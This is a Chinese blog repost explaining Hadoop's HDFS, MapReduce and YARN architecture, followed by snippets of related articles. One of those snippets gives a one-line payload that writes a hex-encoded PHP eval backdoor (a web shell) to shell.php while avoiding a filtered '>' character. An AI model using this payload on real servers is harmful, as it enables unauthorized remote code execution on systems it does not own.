Hadoop及其三大组件原理

news/2024/4/30 9:04:53/文章来源:https://www.cnblogs.com/ywkcode/p/16610084.html

Hadoop是什么

由Apache基金会开发的分布式系统基础架构

海量数据的存储和分析计算

 

Hadoop架构历史

1.0 HDFS和MapReduce

2.0 在1.0基础上增加了YARN(任务调度),解放了MapReduce

3.0 和2.0类似,着重优化

 

Hadoop优势

1)高可靠性 多数据副本

2)高扩展性 动态扩展,动态删除(有案例)

3)高效性:并行工作,加快任务处理速度

3)高容错性:自动将失败的任务重新分配

 

 

Hadoop的三大组件:

A.HDFS:

分布式文件系统(存储海量非结构化数据)

1)通用分布式文件系统,可挂载,但性能差,代表lustre.MooseFS

2)专用分布式文件系统,基本都是GFS思想,上传后不能修改,不能挂载,需要专有的API对文件进行访问,代表:GFS(谷歌),HDFS,TFS(淘宝开源)

 

B.组成:

NameNode NN:

Master主管 记录文件存放的位置(元数据)

设置副本策略:文件有几个副本 A文件:1个 B文件:2个

处理客户端的读写请求,客户端和NN进行应答

 

DateNode DN : 具体存储数据

Slaver,执行实际操作,存储数据,执行数据块的读写

 

Hadoop HDFS DN工作机制:

DN主动向NN报道,汇报自己的块信息,这就是为什么fsimage里面没有记录快信息的原因。

DN与NN之间时刻保持通信,每隔一个小时,DN向NN上报块信息

当NN发现某个DN迟迟未上报自己的块信息,

那NN会自己去做副本的配置找一台机器去复制出一份副本来。

但是一个小时的汇报很慢,所以,DN还需要每隔3s找NN说一次话(心跳),告诉NN我还是活着的。

在这次心跳中,NN会顺带着给DN一些指令要做的事情。

 

Secondary NameNode(2NN):每隔一段时间对NN元数据进行备份 SN,辅助恢复NN,非NN的热备

2NN要做的事情:
1、存数据
2、汇报快信息
3、发送心跳信息
4、接收nn的指令,来处理事情
假设某个DN在三秒内没有和NN去发生心跳,NN会再等等,容忍一下,如果等了十分钟又加三十秒,NN会认为DN已经光荣牺牲了。就会把这个DN剔除该集群。

 

Client:客户端:

1)文件切分

2)与NN交互,获取文件位置信息

3)与DN交互,读取或写入数据

4)通过命令管理HDFS,比如NN格式化,对HDFS增删改查

场景:适合一次写入,多次读出。一个文件经过创建,写入和关闭之后就不需要改变

 

 

C.原理:

写数据流程

1.文件A 请求上传

2.NN对文件A进行校验,权限,并响应

3.上传第一个Block,请求返回DN

4.NN根据策略(节点距离,负载)返回DN的节点,表示来存储数据

5.建立Block传输通道,请求通道(为什么不是同时到DN1,DN2,DN3,为了数据的可靠,也避免客户端连接所有的DN,减少IO)

6.应答成功

7.传输数据 Packet(最小64K) 边写边传=》边吃边拉

 

 

读数据流程:串行读数据

1.请求下载文件A

2.NN判断权限,是否有该文件-》返回元数据

3.创建流,去读取数据,选择节点距离最近的读,其次是负载能力

4.传输数据

 

 

 

B.MapReduce:

什么是MapReduce?

是一个分布式运算程序的编程框架,核心功能是将用户编写的业务逻辑代码和自带默认组件整合成一个完整的分布式运算程序,并发行在一个Hadoop集群上

 

分为Map和Reduce

Map:分任务

Reduce:计算并汇总结果

和SparkCore(SparkStreaming 实时计算和Flink)计算的区别,MapReduce是离线计算,Spark Core基于内存计算

 

额外:

离线计算实时计算是成对出现,主要是在数据处理延迟性上有不同的需求。

处理这两种模式,有流处理和批处理两种概念。

流处理要求更高的实时性,批处理主要在数据处理规模上,典型代表Hadoop MapReduce

实时计算的场景已经是主流,比如商品推荐,主流框架Spark Streaming,Storm,Flink等框架

 

优点:

1)易于编程,只需完成串行执行的接口,就可以完成一个分布式程序,举例?

2)良好的扩展性:动态增加服务器,解决计算不够的问题

3)高容错性(其中一台机器挂了,可以把上面的计算任务交给另外一个节点运行,不至于失败,这个功能比较牛逼)

4)海量数据的离线处理 TB/PB

缺点:不擅长实时计算,不擅长流式计算,不擅长DAG计算

 

C.Yarn:

概念:管理集群资源,给任务合理分配资源=》资源调度平台

组成:

ResourceManager

1)监控NodeManager

2)启动ApplicationMaster

3)资源的分配与调度

 

NodeMager:

1)管理单个节点资源

2)处理来自RM的命令,来自ApplicationMaster的命令

 

ApplicationMaster:

1)为应用程序申请资源并分配内部的任务

2)任务的监控和容错

4)Contianer:YARN中的资源抽象,封装了很多资源:内存,CPU,磁盘,网络

 

三者合起来的原理图:

 

 

提交任务,RM开启一个节点,然后放置一个任务在节点上,叫做ApplicationMaster

任务向RM申请资源,RM开启了102和103上的资源MapTask,就是MapReduce中的Map阶段.每一个Map独立工作,并把计算的结果写入到HDFS(104),这就是Recude阶段.DataNode负责存储的操作,2NN和NN负责记录

 

以上,仅用于学习和总结!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_2411.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java 断点下载(下载续传)服务端及客户端(Android)代码

原文: Java 断点下载(下载续传)服务端及客户端(Android)代码 - Stars-One的杂货小窝最近在研究断点下载(下载续传)的功能,此功能需要服务端和客户端进行对接编写,本篇也是记录一下关于贴上关于实现服务端(Spring Boot)与客户端(Android)是如何实现下载续传功能 断点下载功能(…

深入flex 中align-items属性

设置外层盒子flex 显示宽度为自己盒子本身宽度 高度被拉高整个盒子设置为垂直方向的对齐方式 align-items:flex-start 盒子不将被拉伸 显示元素本身的高度align-items:center 盒子不将被拉伸 显示元素本身的高度align-items:stretch 元素拉伸

软件测试入门三(软件bug)

一、什么是软件bug 一个手机,如果他的屏幕碎了、裂了,拐角磕碰瑕疵,这些都是手机的缺陷。 软件就好比这款手机,出现了各种各样的问题,就是软件的bug(缺陷) 软件在测试过程中发现的bug,属于正常情况,因为能够在测试过程中被发现得到修改,如果bug出现在线上,就是线上事…

Activiti可视化流程管理器

1.简介 Activiti是一个业务流程管理(BPM)框架,它是覆盖了业务流程管理,工作流,服务协作等领域的一个开源,灵活的,易扩展的可执行流程语言框架。在Java工作流引擎中可谓是主流,我们的项目也是使用的这个框架进行流程相关的开发。与流程息息相关的就是我们的流程定义BPMN文件…

函数式接口-常见函数式接口-Supplier接口

常见函数式接口Supplier接口: java.util.function.Supplier<T>接口仅包含一个无参的方法:T get()。用来获取一个泛型参数指定类型的对象数据。Supplier<T>接口被称之为生产型接口,指定接口的泛型是什么类型,那么接口中的get方法就会生产什么类型的数据 代码:p…

CF(div2)816 A~C

A Crossmarket思维 矩阵走路径,发现走Z字型怎么走都是一样的耗费,所以直接O(1)算出来就好/** |~~~~~~~|* | |* | |* | |*…

聊聊项目中分表的实际应用-2022新项目

一、业务场景Web项目开发中,分表是时常会使用到的方式。分表的一个目的是为了缓解单表数据量过大,导致操作时 性能下降的问题。可是在实际开发中应该如何进行进行分表呢?那种分表方式更符合实际呢? 二、需求分析网上随便去搜索一下就会发现有很多的分表方式,比如常规的垂直…

数组

概念:一组相同数据的容器相同类型:Java语言中要求存入数组的数据类型必须一直 容器:类似于生活中存放物品的容器,在编程世界中,容器可以用来存放数据 一组:容器中可以存放多个数据声明数组变量int [] ageArray;创建数组对象ageArray = new int[5];静态创建数组int [] ageArray …

11.3 垃圾回收相关概念

目录11.3.1 System.gc()的理解11.3.2 内存溢出与内存泄漏内存溢出(OOM)内存泄漏(Memory Leak)11.3.3 Stop The World11.3.4 垃圾回收的并行与并发并发(Concurrent)并行(Parallel)并发 VS 并行11.3.5 安全点与安全区域安全点(Safepoint)安全区域(Safe Region)引用概…

过滤符号,Linux下写入Webshell

最近的学习生活中,看到了好兄弟写出的这么一句话让我陷入沉思,是否>被过滤,就意味着写入不了Webshell了?于是有了下面的Payload 只要|没被过滤,就有可能写入成功! echo 3c3f70687020406576616c28245f504f53545b277479736563275d293b3f3e|xxd -ps -r|tee shell.php

《GB27951-2011》PDF下载

《GB27951-2011 皮肤消毒剂卫生要求》PDF下载 《GB27951-2011》简介本标准规定了皮肤消毒剂的技术要求、试验方法、使用方法、标签和说明书以及使用注意事项; 本标准适用于完整皮肤和破损皮肤消毒的消毒剂,不适用于手消毒剂。 《GB27951-2011》截图 《GB27951-2011》下载 网…

java中静态成员变量、静态代码块static执行时机

java中静态成员变量与静态块会比构造函数先执行,并且只会执行一次,一个类中有多个static修饰的成员变量或者代码块,会按照代码中先后的顺序执行 请看下面的示例:public class Test {public static void main(String[] args) {Out out1 = new Out();} }public class Out {st…

软件测试入门二(了解软件)

一、什么是软件 软件:通过大代码逻辑开发出来的程序,称为软件。二、软件的种类 web端:电脑、手机的浏览器可以打开的网页,就是web的软件。比如:公司官网、淘宝网等等 客户端:电脑客户端:需要在电脑上进行安装的软件,比如:PC端的英雄联盟、QQ等等,手机端(移动端、app…

解决uni-app小程序导航栏标题不显示问题

用HBuilder开发小程序 创建页面时默认配置了导航文字和下拉刷新 默认导航文字为空 局部配置会覆盖全局配置,所以我们在globalStyle中做的导航全局配置只有背景颜色会生效,文字被页面的局部配置覆盖掉了 可以将页面的配置删掉或加上内容 删掉就是显示全局配置的文字,加上内容…

学习 day1

数据和指令是分开区域存放的,存放指令区域的地方称为「正文段」编译器会把 a = 1 + 2 翻译成 4 条指令,存放到正文段中。如图,这 4 条指令被存放到了 0x200 ~ 0x20c 的区域中: 1、0x200 的内容是 load 指令将 0x100 地址中的数据 1 装入到寄存器 R0; 2、0x204 的内容是 lo…

flex align-items 属性项目在交叉轴上对齐

1,align-items: flex-start;2,align-items: flex-end;2,align-items: center;2,align-items: baseline;2,align-items: stretch;

java对象转json

java对象转json json解析器:常见的解析器:Jsonlib,Gson,fastjson,jackson 使用步骤:1、导入jackson的相关jar包2、创建Jackson核心对象 ObjectMapper3、调用ObjectMapper的相关方法进行转换 转换方法: writeValue(参数1,obj); 参数1: File:将obj对象转换诶J…

Flex 布局 display:flex 与 inline-flex 区别

1.Flex布局 display:flex.bigbox{ width: 500px; height: 400px; background:#ff0000; display: flex; } .smallbox{ width: 100px; height: 100px; background: #f5f5f5; margin: 10px; }<span>flex</span> <div class="bigb…

Java核心知识体系4:AOP原理和切面应用

1 概述 我们所说的Aop(即面向切面编程),即面向接口,也面向方法,在基于IOC的基础上实现。 Aop最大的特点是对指定的方法进行拦截并增强,这种增强的方式不需要业务代码进行调整,无需侵入到业务代码中,使业务与非业务处理逻辑分离。 以Spring举例,通过事务的注解配置,Sp…

npm warn config global `--global`, `--local` are deprecated. use `--location=global` instead.

报错信息: npm warn config global `--global`, `--local` are deprecated. use `--location=global` instead. 报错截图: 如何弃用 npm WARN 配置全局 –global, –local。使用“–location=global”代替“错误发生? 当我尝试使用-g的全局命令时,只是尝试安装使用npm ins…